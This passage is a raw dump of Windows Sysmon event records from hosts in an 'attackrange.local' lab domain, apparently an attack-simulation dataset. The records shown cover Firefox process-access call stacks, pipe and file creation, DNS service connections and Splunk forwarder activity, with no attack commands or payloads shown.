--channel="4776.5.5017141\950617630" -childID 3 -isForBrowser -prefsHandle 3944 -prefMapHandle 4092 -prefsLen 6747 -prefMapSize 244110 -jsInit 1192 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4776 "\\.\pipe\gecko-crash-server-pipe.4776" 3852 23844eb4138 tabC:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082LowMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 17141700x800000000000000050591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:25.008{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.5.501714C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000050779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:26.585{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAAC814D1DC1A5D3D3F4F66741C9A87B,SHA256=CFE23A5D58A0493734A8EE98ED7EF07BD36D184B118E0485C8BCB428314E0709,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016340Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:26.641{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=173471706216A5441759483BC0FF7888,SHA256=667EFC0451D434658471FD10C497071BAF050F2B18C2B3B2FC06B5C9F707493C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000050778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.190{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60424- 354300x800000000000000050777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.190{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57069- 354300x800000000000000050776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.189{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62374- 354300x800000000000000050775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.188{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63149- 354300x800000000000000050774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.186{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63860- 354300x800000000000000050773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.182{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63813- 354300x800000000000000050772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.181{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60290- 354300x800000000000000050771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.179{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55337- 354300x800000000000000050770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.179{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63952- 354300x800000000000000050769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.087{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59524-false35.244.247.133133.247.244.35.bc.googleusercontent.com443https 23542300x800000000000000016342Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:27.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CAE4E9888DFEB1A9B649CDEE7E9BB46C,SHA256=0CAF683B3954C6579BDA7B54705CF4344B054AD1F84BC66DA9DC61D94F6639E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000050806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.784{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+c069c8|C:\Program Files\Mozilla Firefox\xul.dll+c06d2d 10341000x800000000000000050800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+27c3fa8|C:\Program Files\Mozilla Firefox\xul.dll+27b52ec|C:\Program Files\Mozilla Firefox\xul.dll+bfe491|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9 10341000x800000000000000050799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c04bf0|C:\Program Files\Mozilla Firefox\xul.dll+27c138b|C:\Program Files\Mozilla Firefox\xul.dll+27b4476|C:\Program Files\Mozilla Firefox\xul.dll+bfe10a|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32 10341000x800000000000000050798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+c069c8|C:\Program Files\Mozilla Firefox\xul.dll+c06d2d 10341000x800000000000000050797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.722{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+b73a63|C:\Program Files\Mozilla Firefox\xul.dll+b736f4|C:\Program Files\Mozilla Firefox\xul.dll+b73f2c|C:\Program Files\Mozilla Firefox\xul.dll+f73c12|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0|C:\Program Files\Mozilla Firefox\xul.dll+f0ba15|C:\Program Files\Mozilla Firefox\xul.dll+f0b5a4|C:\Program Files\Mozilla Firefox\xul.dll+f0b049 10341000x800000000000000050796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.703{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.703{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.702{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.702{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:27.702{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla 